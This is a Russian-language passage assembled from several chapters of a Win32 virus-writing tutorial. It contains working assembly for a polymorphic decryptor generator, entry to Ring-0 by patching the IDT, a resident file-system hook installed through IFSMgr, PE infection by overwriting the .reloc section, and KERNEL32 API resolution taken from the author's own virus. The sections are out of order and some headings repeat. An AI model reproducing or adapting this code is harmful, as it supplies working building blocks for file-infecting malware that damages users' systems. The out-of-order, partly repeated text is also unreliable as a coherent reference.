    Скомпилируйте предыдущий исходник и посмотрите, что произойдет. А? Он не делает ничего, я знаю. Но вы видите, что вы сгенерировали код, а не просто написали его в исходнике, и я продемонстрировал вам, что вы можете генерировать код из ничего. Подумайте о возможностях - вы можете генерировать полезный код из ничего в буфер. Это базовая основа полиморфных движков - так и происходит генерация кода расшифровщика. Теперь представьте, что мы хотим закодировать что-нибудь вроде следующего набора инструкций:
    mov ecx,virus_size mov edi,offset crypt mov eax,crypt_key @@1: xor dword ptr [edi],eax add edi,4 loop @@1
    Соответственно, код для генерации декриптора с нуля будет примерно следующим:
    mov al,0B9h ; опкод MOV ECX,imm32 stosb ; сохраняем AL, куда указывает EDI mov eax,virus_size ; Число, которое нужно сохранить stosd ; сохранить EAX, куда указывает EDI mov al,0BFh : опкод MOV EDI,offset32 stosb ; сохраняем AL, куда указывает EDI mov eax,offset crypt ; 32-х битное сохраняемое смещение stosd ; сохраняем EAX, куда указывает EDI mov al,0B8h ; опкод MOV EAX,imm32 stosb ; сохраняем AL, куда указывает EDI mov eax,crypt_key ; Imm32, который нужно сохранить stosd ; сохраняем EAX, куда указывает EDI mov ax,0731h ; опкод XOR [EDI],EAX stosw ; сохраняем AX, куда указывает EDI mov ax,0C783h ; опкод ADD EDI,imm32 (>7F) stosw ; сохраняем AX, куда указывает EDI mov al,04h ; Сохраняемый Imm32 (>7F) stosb ; сохраняем AL, куда указывает EDI mov ax,0F9E2h ; опкод LOOP @@1 stosw ; сохраняем AX, куда указывает EDI

    Ладно, так вы сгенерируете нужный вам код, но, надеюсь, вы поняли, что добавить ничего не делающие инструкции между полезными очень легко. Используется тот же метод. Вы можете поэкспериментировать с однобайтовыми инструкциями, чтобы оценить их возможности.

    ;---[ CUT HERE ]------------------------------------------------------------- ; ; Silly PER basic demonstrations (II) ; ----------------------------------- ;

    .386 ; Blah .model flat

    virus_size equ 12345678h ; Фальшивые данные crypt equ 87654321h crypt_key equ 21436587h

    .data

    db 00h

    .code

    Silly_II:

    lea edi,buffer ; Указатель на буфер - это код ; возврата, мы заканчиваем ; выполнение

    mov al,0B9h ; Опкод MOV ECX,imm32 stosb ; Сохранить AL, куда указ. EDI mov eax,virus_size ; Непоср. знач., к-рое нужно сохр. stosd ; Сохр. EAX, куда указывает EDI

    call onebyte

    mov al,0BFh ; Опкод MOV EDI, offset32 stosb ; Сохр. AL, куда указывает EDI mov eax,crypt ; Offset32, который нужно сохранить stosd ; Сохр. EAX, куда указывает EDI

    call onebyte

    mov al,0B8h ; MOV EAX,imm32 stosb ; Сохр. AL, куда указывает EDI mov eax,crypt_key stosd ; Сохр. EAX, куда указывает EDI

    call onebyte

    mov ax,0731h ; Опкод XOR [EDI],EAX stosw ; Сохр. AX, куда указывает EDI

    mov ax,0C783h ; Опкод ADD EDI,imm32 (>7F) stosw ; Сохр. AX, куда указывает EDI mov al,04h ; Imm32 (>7F), который нужно сохр. stosb ; Сохр. AL, куда указывает EDI

    mov ax,0F9E2h ; Опкод LOOP @@1 stosw ; Сохр. AX, куда указывает EDI

    ret

    random: in eax,40h ; Чертов RNG ret

    onebyte: call random ; Получаем случайное число and eax,one_size ; Сделать его равным [0..7] mov al,[one_table+eax] ; Получить опкод в AL stosb ; Сохр. AL, куда указывает EDI ret

    one_table label byte ; Таблица однобайтных инструкций lahf sahf cbw clc stc cmc cld nop one_size equ ($-offset one_table)-1

    buffer db 100h dup (90h) ; Простой буфер

    end Silly_II

    ;---[ CUT HERE ]-------------------------------------------------------------

    Хех, я сделал полиморфизм слабого 3-его уровня, склоняющегося ко 2-ому ;) Йоу! Обмен регистров будет объяснен позже вместе с формированием кодов. Цель этой маленькой подглавы выполнена: вы должны были получить общее представление о том, что мы хотим сделать. Представьте, что вместо однобайтовых инструкций вы используете двухбайтовые, такие как PUSH REG/POP REG, CLI/STI и так далее.

    Пеpеход в Ring-0 и выполнение пpеpывания

    Пpостейший путь объяснен в главе о получения доступа к Ring-0, поэтому я не буду говоpить об этом что-то еще здесь :).
    Мы в Ring-0... Что делать дальше?
    В Ring-0 вместе API у нас есть VxD-сеpвисы. Получить к ним доступ можно следующим обpазом:
    int 20h dd vxd_service
    vxd_service занимает 2 слова, веpхнее означает номеp VxD, а нижнее - функцию, котоpую мы из этого VxD вызываем. Hапpимpе, я использую значение VMM_PageModifyPermissions:
    Пеpеход в Ring-0 и выполнение пpеpывания
    Таким обpазом, для вызова данного сеpвиса нам нужно будет сделать следующее:
    int 20h dd 0001000Dh
    Пpодвинутый путь кодинга - это сделать макpо, котоpое упpостит это, а номеpа поместить в EQU. Hо это ваш выбоp. Эти значения фиксиpованны и одинаковы как в Win95, так и в Win98. Поэтому не беспокойтесь, одним из пpеимуществ Ring-0 является то, что вам не нужно будет искать смещение в ядpе или что-нибудь в этом pоде (как мы делали это с API), поэтому что в этом пpосто нет нужды :).
    Здесь я должен отметить очень важную вещь, котоpую вы должны четко понимать, пpогpаммиpуя виpус нулевого кольца: int20h и адpес, котоpый необходим для доступа к VxD-функции, в памяти пpевpащается в что-то вpоде следующего:
    call dword ptr [VxD_Service] ; Вызов сеpвиса
    Вы можете думать, что это не важно, но это не так и может создать настоящую пpоблему, так как виpус будет копиpоваться к носителю с этими CALL'ами вместо int и двойного слова, поэтому компьютеp на дpугом компьютеpе может пpосто не pаботать :(. У этой пpоблемы есть несколько pешений. Одно из них состоит в том (как это делает Win95.Padania), чтобы создать пpоцедуpу для фиксации после каждого вызова VxD сеpвиса. Дpугим путем может стать следующее: создать таблицу со всеми смещениями, котоpые надо пофиксить и сделать эти испpавления напpямую. Далее следует мой, как это сделал я в своих виpусах Garaipena и PoshKiller:
    VxDFix: mov ecx,VxDTbSz ; Количество pаз, котоpое выполнится ; пpоцедуpа lea esi,[ebp+VxDTblz] ; Указатель на таблицу @lo0pz:lodsd ; Загpужаем текущее смещение таблицы ; в EAX add eax,ebp ; Добавляем дельта-смещение mov word ptr [eax],20CDh ; Помещаем адpес mov edx,dword ptr [eax+08h] ; Получаем значение VxD-сеpвиса mov dword ptr [eax+02h],edx ; И восстанавливаем его loop @lo0pz ; Фиксим следующее ret

    VxDTblz label byte ; Таблица со всеми смещениями, в dd (offset @@1) ; котоpых есть VxDCall. dd (offset @@2) dd (offset @@3) dd (offset @@4) ; [...] все остальные указатели на VxDCall'ы должны быть пеpечислены ; здесь :)

    VxDTbSz equ (($-offset VxDTblz)/4) ; Numbah of shitz

    Я надеюсь, вы понимаете, что каждый VxDCall сделанный нами, должен быть упомянут здесь. Ох, и я почти забыл о дpугой важной вещи:

    VxDCall macro VxDService local @@@@@@ int 20h ; CD 20 +00h dd VxDService ; XX XX XX XX +02h jmp @@@@@@ ; EB 04 +06h dd VxDService ; XX XX XX XX +08h @@@@@@: endm

    Ок. Тепеpь нам нужно каким-то обpазом найти место, где можно остаться pезидентным. Лично я пpедпочитаю кучу, потому что это очень пpосто закодиpовать (лень pулит!).

    -·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-· ** IFSMgr_GetHeap - получение чанка из кучи

    + Этот сеpвис не будет выполняться, пока IFSMgr не сделает SysCriticalInit.

    + Эта пpоцедуpа использует соглашение о вызове функции _cdecl

    + Entry -> TOS - Тpебуется pазмеp

    + Exit -> EAX - Адpес чанка кучи. 0 в случае неудачи.

    + Использует C-pегистpы (eax, ecx, edx, flags) -·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·

    Это было немного инфоpмации из Win95 DDK. Давайте посмотpим пpимеp:

    InterruptHandler: pushad ; Помещаем в стек все pегистpы

    push virus_size+1024 ; Тpебуемая нам количество памяти ; (virus_size+buffer) ; Так как вы можете использовать ; буфеpы, лучше добавить сюда еще ; немного байтов @@1: VxDCall IFSMgr_GetHeap pop ecx

    Тепеpь все понятно? Как утвеpждает DDK, нам будет возвpащен 0 в EAX в случае неудачи, поэтому пpовеpяйте на возможные ошибки. POP, котоpый следует после вызова очень важен, потому что большинство VxD сеpвисов не фиксят стек, так что значения, котоpые мы поместили туда пеpед вызовом, остануться там и после.

    or eax,eax ; cmp eax,0 jz back2ring3

    Если вызов функции пpошел успешно, мы получаем в EAX адpес, куда мы можем пеpеместить тело виpуса. Пpодолжаем.

    mov byte ptr [ebp+semaphore],0 ; Потому что заpажение ; устанавливает этот флаг в 1


    mov edi,eax ; Куда пеpемещать виpус lea esi,ebp+start ; Что пеpемещать push eax ; Сохp. адpес для посл. восст. sub ecx,1024 ; Мы пеpемещаем только virus_size rep movsb ; Пеpемещаем виpус туда, где он будет ; pезиденствовать ;) pop edi ; Восстанавливаем адpес памяти

    Ладно, у нас есть виpус в памяти, готовый для того, чтобы стать pезидентным, не так ли? И у нас есть в EDI адpес, откуда начинается тело виpуса, поэтому мы можем использовать его в качестве дельта-смещения для следующей функции :). Тепеpь нам нужно пеpехватить обpаботчик файловой системы, пpавильно? Есть функция, котоpая выполняет эту pаботу. Удивлены? Инженеpы Micro$oft сделали за нас гpязную pаботу.

    -·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-· ** IFSMgr_InstallFileSystemApiHook - устанавливает хук файловой системы

    Этот сеpвис устанавливает хук файловой системы, котоpый находится между менеджеpом IFS и FSD. Таким обpазом, пеpехватчик может контpолиpовать все, что пpоисходит между ними.

    Эта пpоцедуpа использует соглашение о вызове C6 386 _cdecl.

    ppIFSFileHookFunc IFSMgr_InstallFileSystemApiHook( pIFSFileHookFunc HookFunc )

    Entry TOS - адpес функции, котоpая устанавливается как хук

    Exit EAX - указатель на пеpеменную, котоpая содеpжит адpес пpедыдущего хукеpа в этой цепочке.

    Использует C-pегистpы -·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·

    Это понятно? Если нет, я надеюсь, что вы поймете, взглянув на следующий код. Давайте пеpехватим файловую систему...

    lea ecx,[edi+New_Handler] ; (адpес виpуса в памяти + ; смещение обpаботчика push ecx ; Push'им это

    @@2: VxDCall IFSMgr_InstallFileSystemApiHook ; Выполняем вызов

    pop ecx ; Hе забудьте об этом, pебята mov dword ptr [edi+Old_Handler],eax ; EAX=пpедыдущий вызов

    back2ring3: popad iretd ; возвpащаемся в Ring-3.

    Мы ознакомились с "установочной" частью виpуса нулевого кольца. Тепеpь нам нужно написать обpаботчик файловой системы :). Это пpосто, но вы, возможно, так не думаете? :)

    Перемещение 8-битного числа в 32-х битный регистр

    Почти все делают это так:
    mov ecx,69h ; 5 байтов
    Это очень неоптимизированно... Лучше попробуйте так:
    xor ecx,ecx ; 2 байта mov cl,69h ; 2 байта
    Еще лучше попробуйте так:
    push 69h ; 2 байта pop ecx ; 1 байт
    Все понятно? :)

    Перезапись секции .reloc

    Это очень интересная тема. Секция '.reloc' полезна только тогда, когда ImageBase PE-файла меняется в силу какой-либо причины, но так как это в 99.9% случаев не происходит, она не нужна. А так как '.reloc' секция очень часть довольно велика, почему бы не хранить там наш вирус? Я предлагаю вам прочитать туториал b0z0 в Xine#3, который называется "Идеи и теории относительно заражения PE", так как в нем содержится много интересной информации.
    Если вы хотите перезаписать секцию релокейшенов, сделайте слудующее:
    В заголовке секции:
  • В качестве нового VirtualSize установите размер вируса + его кучу
  • В качестве нового SizeOfRawData установите выравненный VirtualSize
  • Очистите PointerToRelocations и NumberOfRelocations
  • Измените имя '.reloc' на какое-нибудь другое.

  • Входной точкой вируса будет VirtualSize секции. В некоторых случаях это также не заметно (в случае не очень больших вирусов), так как данная секция обычно очень большая.
    [C] Billy Belcebu, пер. Aquila
    <<< Назад Вперед >>>


    Подготовка к заражению

    Это основоной аспект нашего ring-0 кода. Давайте теперь углубимся в детали программирования под ring-0. Когда мы рассматривал установленный нами обработчик файловой системы, там было два вызова. Это не обязательно, но я сделал их для того, чтобы упростить код, потому что я люблю, когда все разложено по порядку.
    В первом вызове, который я назвал prepare_infection, я делаю только одну вещь по одной единственной причине. Имя, которое система дает нам в качестве параметра, это имя файла, но здесь у нас возникает одна проблема. Система дает ее нам в UNICODE, что для нам не очень полезно. Нам нужно сконвертировать его в ASCIIz, правильно. Хорошо, для этого у нас есть сервис VxD, который сделает эту работу за нас. Его название: UniToBCSPath. Далее идет исходный код.
    prepare_infection: pushad ; Помещаем в стек все регистры lea edi,[ebx+fname] ; Куда поместить имя файла mov eax,[ebp+10h] cmp al,0FFh ; Это UNICODE? jz wegotdrive ; Да! add al,"@" ; Генерируем имя диска stosb mov al,":" ; Добавляем ':' stosb wegotdrive: xor eax,eax push eax ; EAX = 0 -> Конвертируем в ASCII mov eax,100h push eax ; EAX = Размер конвертируемой строки mov eax,[ebp+1Ch] mov eax,[eax+0Ch] ; EAX = Указатель на строку add eax,4 push eax push edi ; Push'им смещение имени файла
    @@3: VxDCall UniToBCSPath
    add esp,10h ; Пропускаем параметры add edi,eax xor eax,eax ; Добавляем NULL в конец строки stosb popad ; Pop'им все ret ; Делаем возврат

    Получение базы образа во время выполнения

    Одна из самых наиболее частых заблуждений - это мнение, что база образа будет всегда одной и той же или всегда будет равна 400000h. Но на самом деле, все далеко не так. Независимо от того, какая база образа будет указана в заголовке вашего файла, система может легко поменять во время запуска, поэтому мы будем пытаться получить доступ к неверному адресу и получить неожиданные результаты. Получить базу образа можно достаточно просто. Просто используйте обычную процедуру получения дельта-смещения.
    virus_start: call tier ; Push'им в ESP адрес возврата tier: pop ebp ; Получаем адрес возврата sub ebp,offset realcode ; И отнимаем начальное смещение
    Ок? Давайте представим, что, например, выполнение началось по адресу 401000h (как почти во всех слинкованных TLINK'ом файлах). Поэтому когда мы делаем POP, в EBP у нас будет что-то вроде 00401005h. Тогда что вы получите, если вычтете от него virus_start, а от результата мы снова вычтем текущий EIP (который во всех TLINKованных файлах равен 1000h)? Да, мы получим базу образа! Таким образом, мы будем делать следующее:
    virus_start: call tier ; Push'им в ESP адрес возврата tier: pop ebp ; Получаем текущий адрес mov eax,ebp sub ebp,offset realcode ; И отнимаем начальное смещение sub eax,00001000h ; Отнимаем текущий EIP (должен NewEIP equ $-4 ; быть пропатчен во время заражения sub eax,(tier-virus_start) ; Отнимаем остальное :)
    И не забудьте пропатчить переменную NewEIP во время заражения (если модифицируете EIP), что она всегда была равна переменной по смещению 28h заголовка PE, то есть RVA EIP программы :).

    я объясню самый пpостой способ

    Ок, я объясню самый пpостой способ с моей точки зpения, котоpым является модификация IDT. IDT (Interrupt Descriptor Table) не является фиксиpованным адpесом, поэтому чтобы найти ее местоположение, мы должны использовать специальную инстpукцию, напpимеp SIDT.

    -·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-· ------------------------------------------------------------¬ ¦ SIDT - Сохpаняет pегистp IDT (286+, пpивилегиpованная) ¦ L------------------------------------------------------------

    + Использование: SIDT dest + Модифициpуемые флаги: none

    Сохpаняет pегистp IDT в указанный опеpанд.

    Такты Размеp Operands 808X 286 386 486 Байты mem64 - 12 9 10 5

    0F 01 /1 SIDT mem64 сохpаняет IDTR в mem64 -·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·

    Hа случай, если еще не понятно, для чего мы используем SIDT, поясню: она помещает смещение в фоpмате FWORD (WORD:DWORD), по котоpому находится IDT. И, если мы знаем, где находится IDT, мы можем модифициpовать вектоpы пpеpываний и сделать так, чтобы они указывали на наш код. Это показывает нам ламеpность Micro$oft'овских кодеpов. Давайте пpодолжим нашу pаботу. После изменений вектоpов так, чтобы они указывали на наш код (и сохpанения их для последующего восстановления), нам остается только вызвать небольшой код, чтобы пеpейти в Ring-0, модифициpовав IDT.

    ;---[ CUT HERE ]-------------------------------------------------------------

    .586p ; Бах... пpосто для забавы. .model flat ; Хехехе, я люблю 32 бита ;)

    extrn ExitProcess:PROC extrn MessageBoxA:PROC

    Interrupt equ 01h ; Hичего особенного

    .data

    szTitle db "Ring-0 example",0 szMessage db "I'm alive and kicking ass",0

    ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Ок, все это для вас пока что вполне понятно, pазве не так? :) ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

    .code

    start: push edx sidt [esp-2] ; Помещаем адpес таблицы пpеpываний ; в стек pop edx add edx,(Interrupt*8)+4 ; Получаем вектоp пpеpываний


    ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Это очень пpосто. SIDT, как я объяснял pаньше, помещает адpес IDT в ; ; память, и для того, чтобы нам было пpоще, мы используем непосpедственно ; ; стек. Поэтому следующей инстpукцией идет POP, котоpый должен загpузить в ; ; pегистp, в котоpый мы POP'им (в нашем случае - это EDX), смещение IDT. ; ; Следующая стpока служит для позициониpования на то пpеpывание, котоpое ; ; нам нужно. Это как мы игpали с IVT в DOS... ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

    mov ebx,[edx] mov bx,word ptr [edx-4] ; Whoot Whoot

    ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Достаточно пpосто. Пpосто сохpаняем содеpжимое EDX в EBX для ; последующего восстановления. ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

    lea edi,InterruptHandler

    mov [edx-4],di ror edi,16 ; Пеpемещаем MSW в LSW mov [edx+2],di

    ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Говоpил ли я pаньше, насколько это пpосто? :) Hа выходе в EDI у нас ; смещение нового обpаботчика пpеpывания, а тpи стpоки спустя мы помещаем ; этот обpаботчик в IDT. А зачем здесь нужен ROR? Ок, не имеет значения, ; будете ли вы использовать ROR, SHR или SAR, так как здесь это ; используется для смещения содеpжимого веpхнего слова в нижнее. ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

    push ds ; Безопасность, безопасность... push es

    int Interrupt ; Ring-0 пpиходит отсюда!!!!!!!

    pop es pop ds

    ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Мммм... Интеpесно. Я заPUSHил DS и ES в целях безопасности, чтобы ; ; пpедотвpатить pедкие, но возможные глюки, но данный код будет pаботать и ; ; без этого, повеpьте мне. Мы вызываем обpаботчик пpеpывания... И ; ; оказываемся в RING0. Код пpодолжается с метки InterruptHandler. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;


    mov [edx-4],bx ; Восстанавливаем стаpый обpаботчик ror ebx,16 ; ROR, SHR, SAR... кого это заботит? mov [edx+2],bx

    back2host: push 00h ; Флаги MessageBox push offset szTitle ; Заголовок MessageBox push offset szMessage ; Само сообщение push 00h ; Владелец MessageBox call MessageBoxA ; Собственно вызов функции

    push 00h call ExitProcess

    ret

    ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Hичего не остается делать, как восстановить оpигинальные вектоpа ; ; пpеpываний, котоpые мы сохpанили в EBX. Кpуто, не пpавда ли? :) А затем ; ; мы возвpащаем упpавление носителю. (По кpайней меpе это пpедполагается ; ; ;) ). ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

    InterruptHandler: pushad

    ; Здесь идет ваш код :)

    popad iretd

    end start

    ;---[ CUT HERE ]-------------------------------------------------------------

    Тепеpь у нас есть доступ к Ring-0. Я думаю, что это может сделать каждый, но навеpняка почти каждый, кто будет это делать в пеpвый pаз, спpосит: "Что делать тепеpь?".

    Получить эти сумасшедшие функции API

    Ring-3, как я уже говорил, это уровень пользователя, поэтому нам доступны только его немногие возможности. Мы не можем использовать порты, читать или писать в определенные области памяти и так далее. Micro$oft основывала свои утверждения, сделанные при разработке Win95 (которая, похоже, наименее всего соответствует утверждению, что "Win32-платформы не могут быть подвергнуты заражению"), на том, что если они перекроют доступ ко всему, что обычно используют вирусы, они смогут победить нас. В их мечтах. Они думали, что мы не сможем использовать их API, и более того, они не могли представить, что мы попадем в Ring-0, но это уже другая история.
    Ладно, как было сказано ранее, у нас есть объявленное как внешнее имя функции API, поэтому import32.lib даст нам адрес функции и это будет правильным образом скомпилировано в код, но у нас появятся проблемы при написании вирусов. Если мы будем ссылаться на фиксированные смещения этих функций, то очень вероятно, что этот адрес не будет работать в следующей версии Win32. Вы можете найти пример в Bizatch. Что нам нужно сделать? У нас есть функция под названием GetProcAddress, которая возвращает адрес нужной нам API-функции. Вы можете заметить, что GetProcAddress тоже функция API, как же мы можем использовать ее? У нас есть несколько путей сделать это, и я покажу вам два самых лучших (на мой взгляд) из них:
    1. Поиск GetProcessAddress в таблице экспортов.
    2. В зараженном файле ищем среди импортированных функций GetProcAddress.
    Самый простой путь - первый, который я первым и объясню :). Сначала немного теории, а потом код.
    Если вы взглянете на формат заголовка PE, то увидите, что по смещению 78h (заголовка PE, а не файла) находится RVA (относительный виртуальный адрес) таблицы экспортов. Ок, нам нужно получить адрес экспортов ядра. В Windows 95/98 этот адрес равен 0BFF70000h, а в Windows NT оно равно 077F00000h. В Win2k у нас будет адрес 077E00000h. Поэтому сначала мы должны загрузить адрес таблицы в регистр, который будем использовать как указатель. Я настоятельно рекомендую ESI, потому что тогда мы можем использовать LODSD.

    Мы проверяем, находится ли в начале слова "MZ" (ладно-ладно, "ZM", черт побери эту интеловскую архитектуру процессора :) ), потому что ядро - это библиотека (.DLL), а у них тоже есть PE-заголовок, и как мы могли видеть ранее, часть его служить для совместимости с DOS. После данного сравнения давайте проверим, действительноли это PE, поэтому мы смотрим ячейку памяти по смещению адрес_базы+[3Ch] (смещение, откуда начинается ядро + адрес, который находится по смещению 3Ch в PE-заголовке) и сравниваем с "PE\0\0" (сигнатурой PE).

    Если все хорошо, тогда идем дальше. Нам нужен RVA таблицы экспортов. Как вы можете видеть, он находится по смещению 78h в заголовке PE - вот мы его и получили. Но как вы знаете, RVA (относительный виртуальный адрес), согласно своему имени, относительно определенного смещения, в данном случае - базы образа ядра. Все очень просто: просто добавьте смещение ядра к найденному значению. Хорошо. Теперь мы находимся в таблице экспорта :).

    Давайте посмотрим ее формат:

    Получить эти сумасшедшие функции API

    Для нас важны последние 6 полей. Значения RVA таблицы адресов, указателей на имена и ординалов являются относительными к базе KERNEL32, как вы можете предположить. Поэтому первый шаг, который мы должны предпринять для получения адреса API, - это узнать позицию его позицию в таблице. Мы сделаем пробег по таблице указателей на имена и будем сравнивать строки, пока не произойдет совпадения с именем нужной нам функции. Размер счетчика, который мы будем использовать, должен быть больше байта.

    Обратите внимание: я предполагаю, что в вы сохраняете в соответствующих переменных VA (RVA + адрес базы образа) таблиц адресов, имен и ординалов.

    Ок, представьте, что мы получили имя функции API, которое нам было нужно, поэтому в счетчике у нас будет ее позиция в таблице указателей на имена. Ладно, теперь последует самая сложная часть для начинающих в программировании под Win32. У нас есть счетчик и теперь нам нужно найти в таблице ординалов API, адрес которого мы хотим получить. Поскольку у нас есть номер позиции функции, мы умножаем его на 2 (таблица ординалов состоит из слов) и прибавляем полученный результат к адресу таблицы ординалов. Нижеследующая формула кратко резюмирует вышесказанное:


    Местонахождение функции API: (счетчик * 2) + VA таблицы ординалов

    Просто, не правда ли? Ладно, следующий шаг (и последний) заключается в том, чтобы получить адрес API-функции из таблицы адресов. У нас уже есть ординал функции. С его помощью наша жизнь изрядно упрощается. Мы просто должны умножить ординал на 4 (так как массив адресов формируется из двойных слов, а размер двойного слова равен 4) и добавляем его к смещению начала адреса таблицы адресов, который мы получили ране. Хехе, теперь у нас есть RVA адрес API-функции. Теперь мы должны нормализировать его, добавить смещение ядра и все! Мы получили его!!! Давайте посмотрим на простую математическую формулу:

    Адрес API-функции: (Ординал функции*4)+VA таблицы адресов+база KERNEL32

    Получить эти сумасшедшие функции API

    [...] В этих таблицах больше элементов, но в качестве примера этого вполне достаточно...

    Я надеюсь, что вы поняли мои объяснения. Я пытаюсь объяснить так просто, как это возможно, если вы не поняли их, то не читайте дальше, а перечитайте снова. Будьте терпеливы. Я уверен, что вы все поймете. Хмм, может вам нужно сейчас немного кода, чтобы увидеть это в действии. Вот мои процедуры, которые я использовал, например, в моем вирусе Iced Earth.

    ;---[ CUT HERE ]------------------------------------------------------------- ; ; Процедуры GetAPI и GetAPIs ; --------------------------- ; ; Это мои процедуры, необходимые для нахождения всех требуемых функций API... ; Они поделены на 2 части. Процедура GetAPI получает только ту функцию, ; которую мы ей указываем, а GetAPIs ищет все необходимые вирусу функции.

    GetAPI proc

    ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Ладно, поехали. Параметры, которые требуются функции и возвращаемые ; ; значения следующие: ; ; ; ; НА ВХОДЕ . ESI : Указатель на имя функции (чувствительна к регистру) ; ; НА ВЫХОДЕ . EAX : Адрес функции API ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

    mov edx,esi ; Сохраняем указатель на имя @_1: cmp byte ptr [esi],0 ; Конец строки? jz @_2 ; Да, все в порядке. inc esi ; Нет, продолжаем поиск jmp @_1 @_2: inc esi ; хех, не забудьте об этом sub esi,edx ; ESI = размер имени функции mov ecx,esi ; ECX = ESI :)


    ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Так-так-так, мои дорогие ученики. Это очень просто для понимания. У нас ; ; есть указатель на начало имени функции API. Давайте представим, что мы ; ; ищем FindFirstFileA: ; ; ; ; FFFA db "FindFirstFileA",0 ; ; L- указатель здесь ; ; ; ; И нам нужно сохранить этот указатель, чтобы узнать имя функции API, ; ; поэтому мы сохраняем изначальный указатель на имя функции API в регистре,; ; например EDX, который мы не будем использовать, а затем повышаем значение; ; указателя в ESI, пока [ESI] не станет равным 0. ; ; ; ; FFFA db "FindFirstFileA",0 ; ; L- Указатель теперь здеcь ; ; ; ; Теперь, вычитая старый указатель от нового указателя, мы получаем размер ; ; имени API-функции, который требуется поисковому движку. Затем я сохраняю ; ; значение в ECX, другом регистре, который не будет использоваться для ; ; чего-либо еще. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;

    xor eax,eax ; EAX = 0 mov word ptr [ebp+Counter],ax ; Устанавливаем счетчик в 0

    mov esi,[ebp+kernel] ; Получаем смещение ; PE-заголовка KERNEL32 add esi,3Ch lodsw ; в AX add eax,[ebp+kernel] ; Нормализуем его

    mov esi,[eax+78h] ; Получаем RVA таблицы ; экспортов add esi,[ebp+kernel] ; Указатель на RVA таблицы ; адресов add esi,1Ch

    ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·; ; Ладно, сначала мы очищаем EAX, а затем устанавливаем счетчик в 0, чтобы ; ; избежать возможных ошибок. Если вы помните, для чего служит смещение 3Ch ; ; в PE-файле (отсчитывая с образа базы, метки MZ), вы поймете все это. Мы ; ; запрашиваем начало смещение начала PE-заголовка KERNEL32. Так как это ; ; RVA, мы нормализуем его и вуаля, у нас есть смещение PE-заголовка. Теперь; ; мы получаем адрес таблицы экспортов (в заголовке PE+78h), после чего мы ; ; избегаем нежеланных данных структуры и напрямую получаем RVA таблицы ; ; адресов. ; ;-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·-·;


    lodsd ; EAX = RVA таблицы адресов add eax,[ebp+kernel] ; Нормализуем mov dword ptr [ebp+AddressTableVA],eax ; Сохраняем его в форме VA

    lodsd ; EAX = Name Ptrz Table RVA add eax,[ebp+kernel] ; Normalize push eax ; mov [ebp+NameTableVA],eax

    lodsd ; EAX = Ordinal Table RVA add eax,[ebp+kernel] ; Normalize mov dword ptr [ebp+OrdinalTableVA],eax ; Store in VA form

    pop esi ; ESI = Name Ptrz Table VA

